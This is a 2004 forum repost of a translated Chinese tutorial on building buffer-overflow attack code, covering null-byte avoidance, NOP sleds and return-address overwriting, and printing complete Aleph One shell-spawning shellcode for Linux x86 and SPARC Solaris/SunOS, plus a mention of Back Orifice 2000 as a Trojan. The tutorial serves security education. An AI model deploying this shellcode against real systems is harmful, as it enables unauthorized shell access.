Board logo

标题: 使您的软件运行起来: 攻击代码剖析 [打印本页]

作者: 无悔    时间: 2004-4-4 12:17     标题: 使您的软件运行起来: 攻击代码剖析

有关缓冲区溢出破坏原理的分析 在上一篇专栏文章里,我们解释了如何“破坏”程序堆栈 — 也就是,如何覆盖返回地址并允许程序执行跳转到精心实现的攻击代码。我们解释了如何经由缓冲区溢出跳转到攻击代码,但是我们没有涉及任何有关在堆栈中放置漏洞检测代码的详细信息。这次我们将向您演示攻击代码实际上是什么样子的。 乍一看,实现缓冲区溢出漏洞检测似乎很容易,实际上,这是一项非常难的工作。弄清如何溢出特定缓冲区和修改返回地址占了一半的工作,这一点我们在上一部分中已经论述过。现在到了论述另一半工作的时候了 — 也就是,如何“拥有”该程序并使该程序做您想做的任何事情。 在 UNIX 机器上,攻击者的目标是获得一个交互式 shell。这意味着典型的攻击代码通常企图启动 /bin/sh。使用 C 语言启动 shell 的代码如下: void exploit() { char *s = "/bin/sh"; execl(s, s, 0x00); } 在 Windows 环境里,通常的目标是下载一个恶意的特洛伊木马程序到机器上并执行该程序。可供使用的一个极好的特洛伊木马程序来自 Cult of the Dead Cow 的 Back Orifice 2000(参阅参考资料)。 在本文中,我们将讨论编写 UNIX 和 Windows 平台下的漏洞检测代码所涉及的主要问题。我们将不会象上次那样涉及很多教程式的详细信息,因为这样会涉及太多的汇编代码。我们这里的目标是确保没有很多汇编语言经验的读者能够跟上我们。如果想获得更详细的参考,请参阅参考资料。 UNIX 漏洞检测代码 让我们假定我们已获得一个 C 语言的 UNIX 函数,它完成我们想要它完成的任务(即,它为我们获取一个 shell)。给定该代码(显示在上面)和一个我们可以溢出的缓冲区(如上一部分文章所分析),我们如何将这两部分结合起来以获得我们想要的结果呢? 总的来说,我们所做的是:编译我们的攻击代码,抽取实际完成任务的二进制代码段(execl 调用),然后将编译过的漏洞检测代码插入到我们覆写的缓冲区。我们可以将该代码片段插入到我们必须覆写的返回地址之前或之后,这取决于空间限制。然后我们必须准确地计算溢出代码应该跳转到的位置,接下来以其适合覆写正常返回地址的方式将该地址放置在缓冲区中正确的位置上。所有这些意味着我们想要插入到我们正在溢出的缓冲区中的数据需要具有下面的样子: 位置 内容 缓冲区起点 漏洞检测代码可能适合这里;否则,其它地方 缓冲区终点 漏洞检测代码可能适合这里;否则,其它地方 其它变量 漏洞检测代码可能适合这里;否则,其它地方 返回地址? 导致漏洞检测代码运行的跳转位置 参数 漏洞检测代码,如果不能适合其它地方的话 堆栈的剩余部分 漏洞检测代码(续)以及代码所需的任何数据 有时,我们可以将漏洞检测代码置于返回地址之前,但通常那里没有足够的空间。如果我们的漏洞检测代码不很大,我们甚至需要填充剩余的空间。通常可以使用一系列小数点来填充任何额外空间。然而,有时候这样却不行。小数点填充方法是否起作用取决于代码的剩余部分完成什么功能。例如,在上一部分中,我们演示了代码,它有一个必须满足的需求,这就是必须将参数空间的一个字节设置成特定值。如果没有在正确的位置设置该特定值,程序将在有机会到达被覆盖的返回地址之前崩溃。 在任何情况下,最直接的问题是要获取攻击代码然后获取它的一些表示,我们可以将这些表示直接插入堆栈漏洞检测代码中。完成该项任务的一种方法是创建一个小二进制文件并做一个十六进制转储。这种方法经常需要花费一些精力来弄清该二进制文件的哪一部分完成哪些任务。幸运的是,有一个更好的方法来获得我们所需的代码。我们可以使用一个调试器! 首先我们编写一个调用漏洞检测函数的 C 程序: void exploit() { char *s = "/bin/sh"; execl(s, s, 0x00); } void main() { exploit(); } 接下来我们启用调试编译该程序: gcc -o exploit -g exploit.c 然后,我们使用 gdb,也就是 GNU 调试器,通过执行下列命令来运行该程序: gdb exploit 现在,通过使用下面的命令,我们可以观察汇编格式的代码,并可以看出每条指令映射到多少字节: disassemble exploit 该命令会给出类似下面的结果: Dump of assembler code for function exploit:0x8048474 : pushl %ebp 0x8048475 : movl %esp,%ebp 0x8048477 : subl $0x4,%esp 0x804847a : movl $0x80484d8,0xfffffffc(%ebp) 0x8048481 : pushl $0x0 0x8048483 : movl 0xfffffffc(%ebp),%eax 0x8048486 : pushl %eax 0x8048487 : movl 0xfffffffc(%ebp),%eax 0x804848a : pushl %eax 0x804848b : call 0x8048378 0x8048490 : addl $0xc,%esp 0x8048493 : leave 0x8048494 : ret 0x8048495 : leal 0x0(%esi),%esi End of assembler dump. 使用 x/bx 命令,可以一次得到以十六进制形式的该函数每个字节。要实现这一点,通过输入下面的命令来开始: x/bx exploit 该实用程序将以十六进制形式向您演示第一个字节的值。例如: 0x804874 : 0x55 不停地敲击 Enter 键,该实用程序将显示后续的字节。因为输出中将会出现单词 ,所以您可以确定什么时候您所感兴趣的东西全部出现了。记住,我们(通常)不关心函数的开始和结束部分。您经常可以忽略这些字节,只要您使得所有的偏移相对于实际基指针(ebp)是正确的。 两个难题 直接从 C 语言编译漏洞检测代码有一些问题。最大的问题是,汇编版本的常量内存地址可能同我们要溢出的程序中的地址完全不同。例如,我们不知道 execl 将位于哪个地方,我们也不知道最终将字符串“/bin/sh”存储在什么地方。该死 — 两个难题! 绕过第一个难题不难。我们可以将 execl 静态地链接到程序中,请观察生成的用于调用 execl 的汇编代码,然后直接使用该汇编代码。(结果 execl 是 execve 系统调用的封装器,因此,在代码中使用 execve 库调用然后反汇编它会更容易!)使用静态链接方法,我们最终直接调用系统调用,这取决于操作系统所拥有的系统调用的索引。该索引不会随安装而改变。 遗憾的是,第二个难题 — 获取字符串的地址 — 更麻烦。最容易做到的是,在内存中将字符串置于紧随代码之后,然后做一些简单的数学运算来计算出字符串相对于基指针的位置。然后我们可以借助于相对于基指针的已知偏移量来间接寻址该字符串,而无须担心实际内存地址。当然,其它高明的窃用也可以得到类似的结果。 在论述这两个主要难题时,很重要的一点是要记住,大多数带有易受缓冲区溢出攻击的缓冲区的函数都作用于空字符结束的字符串。这意味着,当这些函数碰到一个空字符时,它们会停止它们正在执行的任何操作(通常是某种复制)然后返回。因此,漏洞检测代码不可以包含任何空字节。如果因为某种原因漏洞检测代码绝对需要空值字节,这个字节必须是插入的最后一个字节,这样不会复制其后的任何内容了。 为了更好地理解这一点,让我们来考察我们编写的漏洞检测的 C 语言版本: void exploit() { char *s = "/bin/sh"; execl(s, s, 0x00); } 0x00 是一个空字符,而且即使将其编译成二进制代码,它也是一个空字符。起初,这可能会有问题,因为我们需要以空字符结束 execl 的参数。然而,我们也可以不显式使用 0x00 而获取一个空字符。我们可以使用如下简单规则:任何数据同其本身进行异或(XOR)运算其结果是 0。这样,我们可以用 C 语言按如下方式重新编写代码: void exploit() { char *s = "/bin/sh"; execl(s, s, 0xff ^ 0xff); } 异或运算是一种好的近乎取巧的方法,但是它可能还不够。我们确实需要观察汇编语言及其十六进制映射以找出编译器是否在某些地方生成了任何空值字节。当找到空值字节时,我们通常需要重写该二进制代码以删除这些空值字节。删除空值字节最好通过编译成汇编语言,然后修改汇编语言代码来完成。 当然,我们可以简单地查阅一些已知的可以运行的 shell 启动代码,并复制它们来解决所有这些麻烦的问题。著名的黑客 Aleph One 已经为 Linux、Solaris 和 SunOS(参阅参考资料)编写了这种代码。这里,我们同时以汇编语言和十六进制的 ASCII 字符串形式复制每个平台下的该代码。 Intel 机器上的 Linux,汇编语言: jmp0x1f popl%esi movl%esi, 0x8(%esi) xorl%eax,%eax movb%eax,0x7(%esi) movl%eax,0xc(%esi) movb$0xb,%al movl%esi,%ebx leal0x8(%esi),%ecx leal0xc(%esi),%edx int$0x80 xorl%ebx,%ebx movl%ebx,%eax inc%eax int$0x80 call-0x24 .string\"/bin/sh\" Intel 机器上的 Linux,作为 ASCII 字符串: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e \x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" SPARC Solaris,汇编语言: sethi 0xbd89a, %l6 or%l6, 0x16e, %l6 sethi0xbdcda, %l7 and%sp, %sp, %o0 add%sp, 8, %o1 xor%o2, %o2, %o2 add%sp, 16, %sp std%l6, [%sp - 16] st%sp, [%sp - 8] st%g0, [%sp - 4] mov0x3b, %g1 ta8 xor%o7, %o7, %o0 mov1, %g1 ta8 SPARC Solaris,作为 ASCII 字符串: "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08 \x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc \x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08" SPARC SunOS,以汇编语言: sethi 0xbd89a, %l6 or%l6, 0x16e, %l6 sethi0xbdcda, %l7 and%sp, %sp, %o0 add%sp, 8, %o1 xor%o2, %o2, %o2 add%sp, 16, %sp std%l6, [%sp - 16] st%sp, [%sp - 8] st%g0, [%sp - 4] mov0x3b, %g1 mov-0x1, %l5 ta%l5 + 1 xor%o7, %o7, %o0 mov1, %g1 ta%l5 + 1 SPARC SunOS,作为 ASCII 字符串: "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08 \x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc \x82\x10\x20\x3b\xaa\x10\x3f\xff\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01 \x91\xd5\x60\x01" 瞧 — 马上就有了漏洞检测代码! 如何实现漏洞检测 当然,既然有了漏洞检测代码,我们需要将其放置在堆栈(或可以通过跳转进行访问的其它地方)。接下来,我们需要确定漏洞检测代码的确切地址,然后覆盖原来的返回地址以便程序执行跳转到漏洞检测的地址。 在上一部分中,我们发现对于特定的程序,堆栈的起始地址总是相同的,这一点是非常有用的。但漏洞检测代码的地址的实际值也是很重要的。如果该地址中含有一个空值字节会怎样呢(在 Windows 应用程序中这太常见了)会怎样呢?一个解决方案是找到一段代码,这段代码位于程序内存中并且跳转或返回到堆栈指针。当该执行函数返回时,堆栈指针被修改为正好指向我们的代码,控制随后转向漏洞检测代码地址。好极了!当然,我们必须确认带有这一指令的地址本身不含有空值字节。 如果我们对程序本身做了足够的分析,我们可能已经知道想要溢出的缓冲区的内存地址。例如,有时候当您没有程序源代码的副本可供使用时,您可以通过反复试验来完成这一任务。一旦确认了一个可溢出的缓冲区时,您通常可以通过逐步缩短测试字符串直到程序不再崩溃为止计算出缓冲区起点到返回地址之间的长度。接下来,就只是一个计算需要跳转到的实际地址的问题了。 大致了解堆栈的起始地址是很有帮助的。可以通过反复试验了解它。遗憾的是,我们必须获得精确到字节的地址,否则程序就会崩溃。使用反复试验的方法获取正确的地址可能会需要一段时间。为方便起见,我们可以在 shell 代码前插入大量空操作。这样,如果我们只是做到了近似而不是绝对正确,那么代码将仍然会执行。这种办法能够大幅度减少试图准确计算代码在堆栈中的位置所花费的时间。 有时我们不能溢出一个具有任意数量数据的缓冲区。这有几个原因。例如,我们可能找到一个 strncpy,它将最多 100 个字节复制到一个 32 字节缓冲区中。这时,我们可以溢出 68 个字节,但再多了就不行。另外一个常见的问题是覆盖部分堆栈可能会在漏洞检测发生之前就产生灾难性的后果。通常,覆盖函数返回前要使用的重要参数或其它局部变量时,会产生这一问题。如果无法实现覆盖返回地址而不引起崩溃,那么解决办法是在利用溢出之前试图重构并模仿堆栈的状态。 如果真的存在大小限制,但是我们仍然能够覆盖返回地址,那么还有一些选择。我们可以试图找到堆溢出,并将代码放在堆中。跳转到堆中总是可能的。另外一个选择是将 shell 代码放在环境变量中,该变量通常存放在堆栈的顶部。 当实现漏洞检测时,在 Windows 平台下会碰到一些传统 UNIX 平台不会遇到的其它问题。最大的障碍是,您可能想要调用的许多感兴趣的函数是动态装入的。弄清这些函数在内存中的位置十分困难。如果它们不在内存中,那么您必须解决如何装入它们的问题。为了找到所有这些信息,您需要了解代码执行时装入什么 DLL,然后开始搜索这些 DLL 的导入表。(只要您使用同一个版本的 DLL,它们就是相同的。)结果这是十分困难的。如果您对此十分感兴趣,“DilDog”在其论文“The Tao of Windows Buffer Overflow”(参阅参考资料)中详细地讨论了有关实现 Windows 平台下的缓冲区溢出漏洞检测。 结束语 即使您已经掌握了我们的系列文章中所涉及的基本概念,实现堆栈溢出漏洞检测还是十分困难的。在直接应用这一理论时会碰到一堆实际问题。记住,尽可能窃取别人的工作成果会使得缓冲区溢出漏洞检测变得更容易!
作者: 墓志铭    时间: 2004-4-8 18:37     标题: 使您的软件运行起来: 攻击代码剖析

谢谢!




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2